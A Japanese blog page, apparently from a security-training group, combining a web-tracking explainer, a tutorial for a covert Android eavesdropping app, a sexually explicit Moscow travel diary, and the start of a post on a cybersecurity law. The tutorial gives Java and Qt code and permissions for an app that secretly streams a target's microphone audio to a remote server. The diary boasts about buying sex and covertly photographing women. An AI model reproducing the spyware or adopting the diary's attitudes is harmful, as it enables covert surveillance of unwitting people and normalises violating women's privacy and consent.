クライアント側でそれほど大きくないあるデータ容量を保存することになった場合、まず一般的に考えるのがクッキーだろう。Webサーバーはクッキーに新しいユーザーの一意識別子を保存しながらそれを設定し、それ以降のすべての要求について、クライアントがその識別子をサーバーに送信する。すべての人気あるブラウザは、クッキーで管理された便利なインターフェースによってだいぶ前から提供されているにも関わらず、ネットにおいてはクッキー管理やクッキーブロックのための外部ユーティリティが溢れかえっているのに、クッキーは依然としてユーザー追跡のために活発に利用され続けている。実は、クッキーをチェックして消去する人は結構少ないのだ。(あなたがそれを最後にやったのはいつだったか思い出してみてほしい)おそらくその主な理由は、たとえば認証に使用することができるような必要な「クッキー」を間違って削除するのを皆恐れているのだろう。一部のブラウザでは、サードパーティクッキーの設定を制限することが出来るのに問題は消えず、ブラウザはちょくちょく、ページコンテンツのロード中にHTTPリダイレクトや他の方法を介して受信されたクッキーを「ネイティブ」だと考えてしまう。後で述べるメカニズムの多くと異なるのは、クッキーを使うことがエンドユーザーにとって透過的なことだ。ユーザーを「指定」するためには、必ずしも別のクッキーに一意識別子を保

存する必要はない。いくつかのクッキーの値から収集することもできるし、又はExpiration Timeのようなメタデータに保存することもできる。したがって、この段階でトラッキングするために特定のッキーが使われているのかどうかを把握することは非常に困難である。

ローカル共有オブジェクト

クライアント側でデータを保存するためにAdobe FlashではLSOのメカニズムが使われる。これはHTTPのクッキーのアナログであるが、最新のものと異なり、テキストデータの短い断片を保存することができるだけでなく、何よりもそのようなオブジェクトの分析とチェックを複雑にする。10.3バージョンまでは、フラッシュクッキーの行動はブラウザの設定とは別に調整されていて、macromedia.comサイト上にあるフラッシュ設定マネージャを訪問する必要があった。(ちなみに今もこのリンクで設定できる) 今日では、コントロールパネルから直接行うことができる。さらに最近のブラウザのほとんどはフラッシュプレーヤーとの密接な統合を保証しており、クッキーや他のサイトのデータを削除するときにLSO削除される。一方、ブラウザとプレーヤーの相互作用はまだそれほど密接ではないので、ブラウザ内の外部クッキーのポリシー設定がフラッシュクッキーにいつも反映するわけではない。(Adobeサイトで手動でオフにする方法を見ることができる)

 

FirefoxでのlocalStorageからデータを削除

Silverlightの分離ストレージSilverlightのソフトウェアプラットフォームは、Adobe Flashとの共通点がたくさんある。フラッシュのLocal Shared Objects のアナログとなるのはIsolated Storageと呼ばれるメカニズムだ。実際、フラッシュと違ってプライバシー設定がブラウザにはまったく縛られない。だからブラウザのクッキーとキャッシュを完全消去した場合であっても、Isolated Storageに保存されているデータはどちらにせよ残る。ただもっと興味深いのは、ストレージがすべてのブラウザウィンドウ(「シークレットモード」で開いた場合を除く)や同じマシンにインストールされているすべてのプロファイルで共有されていることだ。LSOのように、技術的な観点からすると、ここにはセッション識別子を保存するための障害は何も存在しない。しかも、ブラウザ設定を通じてこのメカニズムにアプローチできないことを考えると、このメカニズムは一意識別子用のストレージとしてそれほど広く展開することなかった。

 

どこでSilverlightの分離ストレージを探すか

HTML5とクライアント上のデータ保存

HTML5は、クライアント上で構造化データを保存するための一連のメカニズムである。これに相当するのがlocalStorage、File API、IndexedDBだ。違いはあるものの、これらはすべて、特定のリソースにバインドされたバイナリデータの任意の部分を永続的に保存できるように設計されている。加えて、HTTPやFlashクッキーとの違って、保存されたデータの量に有意な制限はない。最新のブラウザにおいてHTML5のストレージはサイトの他のデータと一緒に位置している。しかし、ブラウザ設定を介してのストレージの管理の仕方を推測することは非常に困難である。たとえば、 FirefoxのlocalStorageからデータを削除するために、ユーザーはoffline website dataかsite preferencesを選択し、everythingと同等の期間を設定する必要がある。さらにもう一つのIE特有の変わった機能は、データがそのデータ保存時に開いているタブの存続期間中のみ存在することだ。これに加えて、上記のすべてのメカニズムは、HTTP­クッキーに適用される制限に従おうとはしない。たとえば、localStorageに記述して、外部クッキーを切った状態であってもクロスドメインフレームを通してlocalStorageから読み取ることができる。

 

Flash Playerのためのローカルストレージ設定

キャッシュされたオブジェクト

皆、ブラウザが速やかに、止まることなく動作することを望んでいる。だから、ブラウザは訪れたサイトのリソースをローカル・キャッシュに保存しなければならなくなる。(二度目以降の訪問でそれらを要求しなくて済むように) このメカニズムは明らかにランダムアクセスのストレージとして使用されるためのものではないのだが、そのように変換することが可能である。例えばサーバーは、ボディ内部の一意識別子を伴ったJavaScriptドキュメントをユーザーに戻し、Expires/max­age=ヘッダに遠い未来を設定することができる。このようにしてスクリプト、そしてそれと共に一意識別子がブラウザのキャッシュに登録される。その後、既知のURLからスクリプトのダウンロードを要求し、ウェブ上の任意のページからアクセスすることができる。もちろんブラウザは、スクリプトの新しいバージョンがあるかどうか、定期的にIf­Modified­Sinceヘッダを使って確認する。しかし、もしサーバーがコード304(Not modified)を返してきたら、キャッシュされたコピーが永遠に使用できるようになる。他にキャッシュの面白いところは何か?ここではHTTPクッキーのような「サードパーティ」のオブジェクトという概念はない。同時に、キャッシュを無効にすると真剣にパフォーマンスに影響を与えることができる。いくつかの識別子/ラベルを保存しているリソースの自動検出は、ウェブ上で良く見られるJavaScriptドキュメントの複雑さや容量の大きさに起因して困難になる。もちろんすべてのブラウザは、ユーザーが手動でキャッシュを消去できるようになっている。ただ、経験(自分を例にする)から言うと、もしその作業をしているとしても、そんなに頻繁には行わない。

ETagとLast­Modified

キャッシュが正しく動作するには、ドキュメントのより新しいバージョンがあることをブラウザが何とかサーバーに通知する必要がある。標準のHTTP/1.1は、この問題を解決する2つの方法を提供している。一つ目は、ドキュメントの最終変更日に基づいて、二つ目は、ETagとして知られている抽象的識別子に基づいた方法である。ETagの場合、サーバーは文書と一緒にある応答ヘッダのいわゆるversionタグを最初に返す。指定されたURLへの二度目以降の要求の際、クライアントはIf­None­Matchヘッダーを介してローカルコピーに関連付けられた値をサーバに伝える。このヘッダーで指定されたバージョンが有効であれば、サーバーはHTTPコード304(Not modified)で応答し、クライアントが安全にキャッシュされたバージョンを使用することができる。その逆の場合、サーバーは新しいETagを伴ったドキュメントの新しいバージョンを送ってくる。このアプローチはどこかHTTPクッキーに似ている。サーバーはクライアントの任意の値をあとで計算するためだけにその値を保存する。Last­Modifiedヘッダを使ったもう一つの方法は、のちのちIf­Modefied­Sinceヘッダ内でクライアントによってサーバーに送られる日付文字列内のデータの少なくとも32ビットを保存することができる。興味深いのは、ほとんどのブラウザは、この列が正しい形式で日付を表示する必要がないことだ。キャッシュされたオブジェクトを介してユーザ認証をする場合と同様、クッキーとサイトデータの削除はETagとLast­Modifiedにまったく影響を与えず、キャッシュをクリアにすることによってそれらを取り除くことができる。

 

サーバーはクライアントにETagを返す

HTML5 AppCache

Application Cacheは、ユーザーがオフラインの場合でも、サイトのどの部分をディスクに保存し、利用できるようにしなければならないかを指示することができる。キャッシュのアイテムを保存し、取得するためのルールを設定するマニフェストを使ってすべては管理される。今までのキャッシュのメカニズムと似ているのは、マニフェスト内部と同じように、無期限に保存されているリソース内でAppCacheもユーザーに依存した一意なデータを保存することができることだ。(従来のキャッシュとの違いは、キャッシュからのリソースがある程度時間が経つことで消去されるところ) AppCacheは、HTML5でのデータ保存のメカニズムとブラウザの従来のキャッシュとの中間の値を占める。一部のブラウザでは、クッキーとサイトデータを削除する際にクリーニングされるが、その他は、閲覧の履歴やキャッシュされたすべての文書を削除するときだけだ。

SDCH­辞書

SDCHは、 サーバーによって提供される辞書の使用を基本に、Gzipやdeflateよりも高い圧縮レベルを達成することができたGoogleの圧縮アルゴリズムである。実は普段ウェブサーバーは、ページのヘッダ/フッタ、内蔵JavaScript / CSSなど、あまりにもたくさん繰り返される情報を与えている。このアプローチだとクライアントは、あとに続く応答(同じヘッダー/フッター/ JS / CSS)に表示されることがある文字列を含む辞書ファイルをサーバーから受け取ることになる。その後、サーバーは辞書内のこれらのアイテムを参照することができ、クライアントはそれに基づいて自分でページを収集するようになる。お分かりのように、これらの辞書は、Avail­Dictionaryヘッダ内のサーバーへクライアント自身で返された辞書のIDにも、コンテンツ自体にも直接置くことのできる一意識別子を保存するために、簡単に利用することができる。そしてその後で、ブラウザの従来のキャッシュの場合と同様に使用しようする。

その他の保存メカニズム

しかし、方法はこれで全部ではない。JavaScriptとその同類の仲間を使用して、すべての閲覧履歴やサイトデータを削除した後でさえ存続できるような形で一意識別子を保存し、取得することができる。その方法のひとつは、保存のためにwindow.nameまたはsessionStorageを使うことだ。たとえユーザーがすべてのクッキーとサイトデータを削除しても、追跡サイトが開かれたタブを閉じなかったら、二度目以降のエントリーの際、サーバーによってトークンが受信され、ユーザーは再びそれについて既に収集されたデータに関連付けられてしまう。同じような動作がJSでも観察され、開いているあらゆるJavaScriptコンテキストは、ユーザーがサイトデータを削除した場合でも状態を保存する。この場合、このようなJavaScriptは表示サイトに属するだけでなく、iframeやウェブワーカー内に潜むことができる。たとえば、iframeにダウンロードされた広告は閲覧履歴やデータの削除にはまったく関係なく、JS内のローカル変数に保存されたIDを使用し続ける。

プロトコル

JSや色々なプラグインの利用、キャッシュに関連するメカニズムに加えて、最新のブラウザでは一意識別子の保存および取得を可能にするいくつかのネットワーク機能がある。

1. Origin Bound Certificates(別名Channel ID) ­ クライアントを識別するHTTPSサーバへの永続的な自己署名証明書。それぞれの新しいドメインのために、後に開始する接続に使用する別の証明書が作成される。サイトはユーザー追跡のためにOBCを使用することができ、その際クライアントに気づかれるような何かしらのアクションを実行しない。一意識別子として、正当なSSLハンドシェイクの一部のようにクライアントが提供する証明書の暗号ハッシュを取得することができる。

2. 同様に、TLSにも2つのメカニズムがある。完全なハンドシェイクを実行せずに、中断したHTTPS接続をクライアントによって再開することができるsession identifiersとsession ticketsである。これは、キャッシュされたデータを使用することによって達成される。これら2つのメカニズムは、一人のクライアントからの要求をサーバが短時間で識別することを可能にする。

3. 事実上、すべての最新ブラウザでは名前解決のプロセスをスピードアップするための独自の内部DNSキャッシュを実装する。(場合によっては、DNS rebinding攻撃のリスクを減らす)。このキャッシュは少量の情報を保存するために簡単に使用することができる。例えば、もし16個のIPアドレスを持っている場合、8~9個のキャッシュされた名前でネットワーク上の各コンピュータを識別するのに十分であろう。しかし、このアプローチは、ブラウザの内部DNSキャッシュのサイズによって制限され、名前解決においてDNSプロバイダとの衝突につながる可能性が潜在的にある。

マシンの特徴

ここまで見てきたすべての方法は、ユーザーが二回目以降の要求のためにサーバーに送信される何らかの一意識別子を設定するということが基本になっている。他に、クライアントのマシンの特徴の要求または測定によるユーザー追跡のあまり目立たないアプローチがある。単独だとそれぞれが得た特徴は情報の数ビットだが、もしいくつかを組み合わせた場合、それらは独自にインターネット上のあらゆるコンピュータを識別することができる。しかもそのような追跡を見分けて防止するのは非常に難しいことから、この技術は様々なブラウザやプライベートモードを使用しているユーザーを識別することができてしまう。

ブラウザの「描画」

トラッキングの最も簡単な方法は – 各オプションが別々だとそれぞれは反応しないのに、それらが一緒になると各マシンに固有の値を形成するといった、ブラウザ環境で利用可能なオプションのセットを組み合わせることで識別子を構築することだ。

∙ User­Agent。ブラウザ、OSのバージョン、およびインストールされたアドオンのいくつかを配布。User­Agentが見つからないか “本物”であるかをチェックしたい場合、実装された、あるいはリリース間で変更された特定の機能をチェックすることでブラウザのバージョンを確認することができる。

∙ クロックシステム。もし、システムがサーバー側の時間とクロックを同期していない場合、クロックはJavascriptを使ってマイクロ秒まで正確に測定することができるシステムタイムとリアルタイムの間のユニークな違いを生じさせ、遅かれ早かれ、進んだり遅れたりし始める。実際に、NTPサーバーと同期する場合であっても、どちらにしても測定することができるような小さな変化が生じる。

∙ CPUとGPUに関する情報。これは直接(GL_RENDERERを通じて)か、JavaScriptで実装されたテストとベンチマークを通じて得ることができる。

∙ 画面解像度とブラウザウィンドウのサイズ(マルチモニタシステムの場合の第2のモニターのパラメータを含む)

∙ たとえば、getComputedStyle APIを使用して取得したインストールされているフォントの一覧。

∙ バージョンも含めたすべてのインストールされているプラグイン、ActiveXコントロール、BrowserHelper Object などの一覧。navigator.plugins[ ]探索を使って得ることができる。(一部のプラグインはHTTP­ヘッダー内にその存在を配布)。

∙ インストール型拡張機能、およびその他のソフトウェアに関する情報。広告ブロッカーのような拡張機能は、拡張の種類やその設定を決めることができる現在のページに一定の変更を行う。

ネットの「描画」

さらに、ローカルネットワークのアーキテクチャやネットワークプロトコルの設定においても様々な兆候が見られる。そのような兆候は、クライアントマシンにインストールされているすべてのブラウザで見受けられるようになり、単にプライバシー設定または一部のセキュリティユーティリティでそれらを隠すことはできない。次のようなものがそれだ。

∙ 外部IPアドレス。IPv6アドレスの場合、このベクターは特に興味深い。場合によっては最後のオクテットがデバイスのMACアドレスから得られ、したがって異なるネットワークに接続された場合であっても保存することができる。

∙ 発信TCP / IP接続のポート番号。(通常、ほとんどのOSに一貫して選択される)

∙ NATまたはHTTPプロキシの背後にあるユーザーのためのローカルIPアドレス。外部のIPアドレスと一緒になって独自に顧客の大半を識別することができる。

∙ HTTPヘッダ(X­Forwarded­For)から得たクライアントが利用するプロキシ∙サーバの情報。いくつかの可能なプロキシをバイパスする方法で受信したクライアントの実際のアドレスとの組合せでも、ユーザーを識別することができる。

行動分析や習慣

そしてもう一つのやり方は、PCではなく、地域の設定や行動などのエンドユーザーに関連する特性を見ることだ。このような方法も、プライベートブラウジングの場合においての様々なブラウザセッション、プロファイル間でクライアントを識別することが可能だ。研究のために常に利用可能である以下のデータに基づいて結論を出すことができる。

∙ 優先言語、デフォルトのエンコーディングおよびタイムゾーン(すべてはHTTP­ヘッダ内にあり、JavaScriptから得られる)

∙ クライアントのキャッシュ内のデータと閲覧履歴。キャッシュの要素は、時間の攻撃により検出することができる。追跡者は、単にダウンロードの時間を計測することにより、人気のあるリソースに関連するキャッシュの長寿命の要素を検出することができる。(時間が予想されるローカルキャッシュからのダウンロード時間を超えた場合、動作をキャンセルする) また、ブラウザの履歴に保存されたURLを抽出することもできるが、そのような攻撃は最新のブラウザではユーザーのちょっとした操作を必要とする。

∙ マウスジェスチャー、キーストロークの頻度および持続時間、加速度計データ ­ これらのパラメータのすべては、各ユーザーに固有である。

∙ サイトの標準フォントの変更とそのサイズ、zoomのレベル、テキストの色、サイズなどの特別な機能の使用。

∙ クライアントによってカスタマイズされたブラウザの特定の機能のステータス:サードパーティクッキーのブロック、DNS prefetching、ポップアップブロッカー、Flashのセキュリティ設定など(皮肉なことに、デフォルトの設定を変更したユーザーは、実際には、自分のブラウザを簡単に識別できるようにしてしまう)これは、表面的に存在する明らかな方法である。もしもっと掘り下げたい場合は、さらに方法を思いつくことができる。

まとめ

ご覧のように、実際には、ユーザーを追跡するためのさまざまな方法がある。それらのいくつかは、実装の間違いや欠落の結果であり、理論的には補正することが可能となる。他の方法となると、コンピュータネットワークの原理やウェブアプリケーション、ウェブブラウザを完全に変更をしないことには、実際に根絶することは不可能である。何らかの技術で対抗できるのは、キャッシュやクッキー、または一意識別子を保存することができる他の場所をきれいにすることだ。他は、ユーザーには完全に気づかれないように作動し、それらからの防御はまず上手くいかない。したがって最も重要なことは、プライベート閲覧モードでのネットサーフィンであろうと、あなたの動きはどちらにしても追跡されていることを覚えておくことだ。390870_3121815863768_2033907823_n

 

 

 

スマホが盗聴器に!?アプリのインストール・許可権限って何?って人!もうやられてますよ!?(笑)


スマホが誕生する前、スパイ活動の一つとして電話の盗聴が行われてきた。スマホが誕生すると共に、その活動によるリスクは何倍も高まってきた。プログラミングの観点からどの様なリスクがあるのか検証していきたいと思う。Smartphone-work-usage-at-night-635

本記事では、パソコンのサーバーにこっそり音声データを転送するアンドロイドスマホのプログラムを検討する。アンドロイドスマホとインターネットにつながったPCを準備してクライアントとサーバーのプログラム開発をテストしてみよう。※本記事で掲載された情報はセキュリティ対策の学習の為である。いわずもかな悪用厳禁である。ターゲットの相手に制作したアプリを入れてサーバーにリアルタイムに送信するアプリであるし、裏側で動くので送信している事はスマホオーナーは気づかない凶悪なアプリである。パケ放題に入らないと大変な事にもなる。サーバーを公開されると全世界にリアルタイムに通話内容が発信される為甚大な被害をこうむるであろう。これを機に許可権限の重大さの啓発や技術者であればセキュリティに活かして貰えたらと切に願う次第である。また、時は同じくして、かの山本一郎氏が本日公開した記事で、『アプリをインストールする際、カメラ・マイクの許可認証をする率が日本人が一番多い』的な事を書いてあった。参考までにされたし。

それでは早速始めて行こう。クライアントとサーバー間のデータ通信はTCP/IPプロトコルで行う。データ転送にはパケット通信のフォーマットを考える必要がある。録音したデータ、パケットのサイズとコマンドフラグ、その他の情報も転送しよう。

次のフォーマットでバイト単位でデータ送信してくれ給え。

<パケットサイズ(4バイト)><コマンドフラグ(4バイト)>[<他の情報>]

クライアントとサーバーの間でのフラグは下記の通り。

・0-成功した
・-1-エラー発生
・1-クライアントの接続
・2-録音のスタート
・3ー録音したAACファイルの送信
・4ー録音したWAVファイルの送信
・5-データストリーミング
・6ーWVAヘッダのストリーミング

クライアントの役割といえば、スマホは遠隔で音声録音しこっそりサーバに音声ファイルを転送する事だ。ユーザーはプログラムのボタンを押すと録音する。録音する長さはユーザーがプログラムで設定し、録音ボタンをタップする事で開始するようにした。尚、アンドロイドスマホはJAVAで開発する。

アプリを開発する為にPCにJava Developer KitとIDE EclipseとAndroid SKDをインストールし、USBデバッグが出来るようにしたアンドロイドスマホをPCに繋げる。Eclipseで作成したプロジェクトにはサーバー接続のクラスを追加。

ここで追加するのは下記の通り。

・Socket(クライアントとサーバ間を接続するプログラミングインターフェース)
・IP(接続先のアドレス)
・Port(TCP及びUDP)
・sendPaket()(メソッドをsynchronizedに変更)2013-11-04-15.46.21_framed

インターフェースはそんなに難しくない。音声データを録音するというWavRecorderクラスは下記のプライベートフィールドを組み込む。

・サンプリングBIT数(RECORDER_BPP=16の様な定数)
・録音チャンネル数(CHANNELINMONO);
・録音フォーマット(ENCODINGPCM16BIT);
・録音中であるか表すフラグ(デフォルトではfalse)
・デバイスフラグ
・サーバのIPアドレス
・サーバのポート番号

尚、ボタンをタップする方式ではファイル送信をこっそり送るには向いていないので、サーバに絶え間なくデータ送信をする為に、WavStreamerというクラスを作ろう。run()は各個のスレッドで動かし音声を録音し、サーバにデータを転送する役割があるメインメソッドを実装しよう。

マイクによって録音した音声をストリーミング送信する為に動的なバッファを作る。

public void run() {
  try {
    // ソケットに繋ぎデータストリーミングを受け取りフラグを送信
  } catch (IOException e) {
    // 発生した例外の処理とエラーをログに記録
  }
  byte data[] = new byte[bufferSize]; // バッファの作成
  while (isRecording) {
    read = recorder.read(data, 0, bufferSize); // マイクによって受け取ったデータをバッファに読み込む
    if (AudioRecord.ERROR_INVALID_OPERATION != read) {
      totalDataSize += data.length;
      sendPacket(PackageType.client_send_data, data); // バッファにあるデータをサーバに送信
    }
  }
  closeSocket(); // サーバの接続を切る
}

詳しいコードはWavStreamer.java.というファイルに載っている。一番簡単なクライアントはこのクラスとメソッドで十分だ。次にSocketというクラスのオブジェクトを新規作成しサーバに繋ごう。プログラムは、成功するとユーザーの次のアクションを待ち、エラーが発生すればユーザーに失敗した事を教える。クライアントはデータをサーバーに送信しており、サーバーはパケットにあるフラグで判断してクライアントが録音を開始したかどうかを判断する。スマホのマイクによって受け取った音声データを録音する為にWavRecorderというストリーミングが作成される。録音したファイルを開けるように一定のフォーマットのヘッダ書いておく事は必須である。shema

ここからは相互作用の原則について記載する。ヘッダのフォーマットは特定の方法で構成された配列のデータ(バイト)であり、インターネットで調べるなり、WavStremer.jave.でみるなりしてくれたまえ。プログラムが上手く動かないと思うが、それは何故だろう???インターネットの接続と録音などの関数を使用するとJava仮想マシンにそれを教えてあげないといけないのである。つまり、AndroidManifest.xmlにこういうcodeを付け加えよう。

// インターネットの接続
<uses-permission android:name="android.permission.INTERNET" />
// マイクで録音
<uses-permission android:name="android.permission.RECORD_AUDIO" />

その後、Java仮想マシンはその関数を呼び出す。インターフェースが必要なコンポートネントを整備する事でクライアントは完成。

次にサーバーについて見て行こう。サーバーの役割はクライアントからデータを受け取ったりすることである。それぞれのクライアントから届いたデータは各個のフォルダで保存され、別のユーザのファイルに干渉しない。サーバの開発にはQt5というC++で記述されたフレームワークを使おう。(http://qt-project.org/downloads)

Qtとはユーザインターフェースからデータベースの扱いまでのクラスがセットになったクロスプラットフォームなフレームワークである。Qtの特徴はオブジェクトの相互作用の為に、シグナル/スロット仕組みが整備された事である。スロットとはクラスのメソッドの様な事で、発生したシグナルに応えて呼び出される。それはグラフィカルなユーザインターフェースやネットワークの扱いなどの開発を簡単にする。あるシグナルを設定すると関数が自動的に呼び出される。2013-11-04-16.09.39_framed

続いて録音中の注意事項を見て行こう。サーバの構成といえば、メインクラスはMyServerであり、ネットワークの接続を操作するQTcpServerのオブジェクトをカプセル化した。MyServerには入力パラメータとしてQTcpServerが動くポート番号とIPアドレスを渡す。QTspServerは新しい接続の管理と繋がっているクライアントを別のクラスにリダイレクトする役割がある。QTcpServerを動かし、入力データを渡して、スロットはnewConnection()というシグナルを対象にしよう。新しい接続が起こると、QTcpServerはそのシグナルを生成する。成功の際は、サーバーがポートスキャンモードに変る。新しい接続を処理するハンドラはUserオブジェクトに読み込んだデータを渡す。

void MyServer::connection() {
  from = server - > nextPendingConnection();
  User * client = new User;
  connect(from, SIGNAL(readyRead()), client, SLOT(getMessage()));
}

UserというクラスはgetMessage()という関数を通して受け取ったデータを処理し、クライアントからの要望にあった適切な関数を呼び出す。

void User::getMessage() {
  static qint32 size_msg = 0, cmd;
  from = (QTcpSocket * ) sender();
  if ((from - > bytesAvailable() > 0 && size_msg) || (from - > bytesAvailable() > 2 * sizeof(qint32))) {
    QDataStream getm(from);
    if (size_msg == 0) {
      getm >> size_msg >> cmd;
      size_msg -= sizeof(qint32);
      buf.clear();
    }

    qint8 ch;
    while (!getm.atEnd() && size_msg > 0) {
      --size_msg;
      getm >> ch;
      buf.append(ch);
    }
    if (size_msg <= 0 && point_func.find(cmd) != point_func.end())
      bool r = (this - > * point_func[cmd])();
    buf.clear();
    getMessage();
  }
}

各クライアント用のファイルが書き込みされると新しい個別のフォルダが作られる。こうして、二つのクライアントは同じフォルダにデータを書き込む事が出来ない事になる。サーバに保存されているファイルはどんなモノでもWAVフォーマットを再生出来る任意のオーディオプレイヤーで開く事が出来る。本記事ではVLCを使った。 (https://www.videolan.org) )

以上でプログラムが完成し、様々な録音を手に入れるに違いない。これを参考に情報セキュリティスペシャリストとして国防・企業防衛に役立ててもらう事を切に願う。

Whitehackerz養成学院

https://xakep.ru/2014/09/25/voice-from-sleep-smartphone/

ロシアハッカー&金髪美女奮闘出張記!


去る11/16~11/19までロシアのモスクワにてwhitehackerz事業の海外出張を行ないました。ロシアと聞くと我々PCオタクのイメージでは『強力なハッカーがいる』or『金髪美女』以外に思いつかない事と存じますが、我々白Z一行はこの真実を探るべく一路ロシアへと乗り込みました。-12℃のなかかけずり回り情報収集し結果、イメージ通りの国である事がわかり、それらすべてを満喫してきましたが、そこはwhitehackerz!しっかり仕事こなしてきましたよ!!!IMG_0363 (2) 今回はその出張記を余すことなく公開致します!まず一行は成田空港よりアエロフロートにて10時間!モスクワへと向かいました!

出発前の校長

IMG_0285 (2)   モスクワ到着!そこには新旧いい具合におり混ざった建物が!IMG_0287 (3)IMG_0289 (2)IMG_0292 (2)IMG_0294 (2) ハウステンボスの様な風景が延々と続き、ロシアに来たのだなぁ。。。と感慨深い中、先ずはホテルでチェックイン!IMG_0295 (2) ホテルには当然金髪が!!!IMG_0372 (2) テンションあがりMAXでしたが今晩は売春は控えて、明日の商談に備えます!ホテル近隣で食事をしました!モスクワには寿司と刺身を提供している飲食店が4000件以上ありいつの間にか定着しているようです。今回はアサヒスーパードライだけ楽しみました!10時間のフライトをねぎらってかんぱ~い!IMG_0302 (2)   翌日、まずはロシアルーブルへ両替に行くついでにホテル周りを散策!モスクワ川を渡ります!IMG_0307 (2) モスクワ川を渡ると、旧ソ連時代の建物群の中に突如現れた近代高層ビル群!ロシアの天然資源マネーの勢いを感じます!IMG_0308 (2) その後、一件目のアポイントへ!IMG_0309 (2) ロシアにて情報セキュリティ誌の『info security』を出版しているGroteck社へ!IMG_0311 (2) とても著名な雑誌で、イベントなども東欧・ロシアにて行なっている企業です!諸々の業務提携案を話し合い無事合意致しました!IMG_0310 (2) また彼らは、made in japan のセキュリティソフトや商品なども紹介して欲しいと言うので、今後我々は東欧・ロシアにてセキュリティ製品の普及を希望する日本国内のベンダーの橋渡しも行う事になりました。自社の製品の世界展開を検討中の企業様のお問合わせお待ちしております。写真白Z右(左から2番目)がGroteck社の社長Andrey Miroshikin氏です!IMG_0312 (2) その後、次のアポイントへ!次のアポイントはG社と人気を分かつハッカー雑誌である『хакер』社のオーナー代表との会食!オーナーのディミトリー氏が予約してくれた、パキスタン料理店へ!IMG_0316 (2) こちらの料理が素晴らしい!日本食を除けば、これまでの料理でNO1の料理の数々でした!хакер社(http://xakep.ru/)とも無事業務提携完了!皆様がおそらくgoogle翻訳など駆使して一度は見たことがあるであろうхакерの日本総代理店及び独占翻訳・出版契約そして○○契約まで交わしました!今後は我々の翻訳に期待下さい!IMG_0318 (2) 上記右下がディミトリー社長!その後町の観光でドライバーしてくれました!やはりとある極秘ルートでの接触が功を奏したのか?食事も御馳走になり、ストリップも御馳走になり感謝感謝です!必ず成功させて恩義に報いますのでディミトリー社長!今後とも宜しくお願い致します!IMG_0349 (2) 運転してくれるディミトリー社長!ユダヤ人なので例のお帽子つけてまます!下はストリップ!金髪美女が50名越え!壮大な見晴らしでした(笑)IMG_0354 (2)IMG_0355 (2) ストリップの前後で赤の広場やKGB、などなど案内してくれました!IMG_0351 (2) IMG_0324 (2)IMG_0325 (2)IMG_0327 (2) レーニンが眠る墓!IMG_0332 (2)IMG_0335 (2)IMG_0331 (2) 赤の広場横の百貨店にて『世界一おいしいアイスクリーム』を食べました。IMG_0341 (2)IMG_0339 (2)IMG_0340 (2)   旧ソ連時代から使用している外務省です!素晴らしい建物です! IMG_0294 (2)IMG_0319 (2)ストリップを満喫し、金髪に手○キしてもらったあとは、ディミトリー氏と別れ、元KGBの情報部員のハッカーと待ち合わせ!これが凄い事にhackerがhackerを呼びなんと総勢17名の宴(笑)、ロシア軍の情報部隊員も加わり極秘情報のオンパレード!!!勿論写真も詳細もNGですが世界の諜報・ハッキングの情報収拾も出来ました!やはり時代に即した製品作りが大事であり、現在作成中のセキュリティ製品の次の作品の構想も固まりました!写真はその彼らと合流する前に校長と白Z!IMG_0322 (2) 夜も更け、これまで金髪美女が一切写真に収める事が出来てない事に気づき、翌日から金髪美女の盗撮も業務に組み込む事に!因みにモスクワは超高級車がバンバン走ってますがその半数がもったいないぐらい汚い!何故でしょうか???通訳にきくの忘れました!そなたか理由が分る方教えて下さい!IMG_0348 (2)   翌朝は、まずおみあげ!愛人たちにミンクなど大人買い!IMG_0321 (2) 全部で12点で約210万円!(笑)定員さんも上機嫌でおまけで沢山モフモフ防止くれました(笑)IMG_0368 (2) それから我々は最後の待ち合わせで、著名ハッカーと通訳及び白Z陣3名の総勢5名で、ロシアのサウナ貸切で金髪美女を買いに行きました!やはりハッカーどうし裸の付き合いが必要です(笑)IMG_0374 (2)まずはプール!写真左側にサウナが2部屋あります!そして食事場所!IMG_0375 (2) ゆったり20人ぐらいは座れます!流石ロシアの金持ちたちの役員会などで極秘で使用する場所!こんな所日本では決して見る事が出来ません!ビリヤードにペッティング用ソファ(笑)IMG_0376 (2)IMG_0377 (2) 約200坪のフロア貸切で2つのベッドルーム(笑)5人でだれが先に行くのかもめました(笑)IMG_0378 (3)IMG_0379 (3) この他にカラオケフロアもあり5人と美女5人合わせて10名では広すぎます!(笑)しかしながら、おち○ん○ん丸出しでフロアをうろつき、おっ○いまるだしでビリヤードし、お○んこまるだしで歌いまくり(笑)本当にいい経験になりました(笑)5名で70万円程でしたが稼いでまたいきましょう(笑)IMG_0381 (5) それから帰国の為空港に向かい無事帰国致しました!今回の渡航にてロシアへの地盤が出来whitehackerzの世界制覇へと大きく前進しました!皆が待ち望むハッカー雑誌を至急発売しますのでご期待下さい!!!最後に街角で盗撮した金髪ロシア美女を見ながらお別れしましょう!ではまた!IMG_0389 (2)IMG_0314 (2)IMG_0338 (2)IMG_0347 (2)IMG_0369 (2)IMG_0359 (2)IMG_0356 (2)IMG_0343 (2) IMG_0342 (2)   IMG_0393 (2)IMG_0384 (2)IMG_0394 (3)

サイバーセキュリティ基本法成立!whitehackerzの功績も大きい!


サイバーセキュリティ基本法が6日衆議院本会議で可決・成立した。かねてより我々が提言してきた事の一部は採用されておりまずは一安心と言ったところだ。特に流動性の高い業界であることから、時の流れに応じて見直す部分も多く出てくるだろうが、今後とも提言等を取りまとめその都度国へ提出していきたいと思う。

最大の功労者はこの方!

https://twitter.com/hiratakuchan?original_referer=http%3A%2F%2Fhosyusokuhou.jp%2Farchives%2F41204648.html&tw_i=530298254638854144&tw_p=tweetembed

平井議員!

肝心の条文は以下。10127645856

第一八六回

衆第三五号

サイバーセキュリティ基本法案

目次

第一章 総則(第一条-第十一条)

第二章 サイバーセキュリティ戦略(第十二条)

第三章 基本的施策(第十三条-第二十三条)

第四章 サイバーセキュリティ戦略本部(第二十四条-第三十五条)

附則

第一章 総則

(目的)

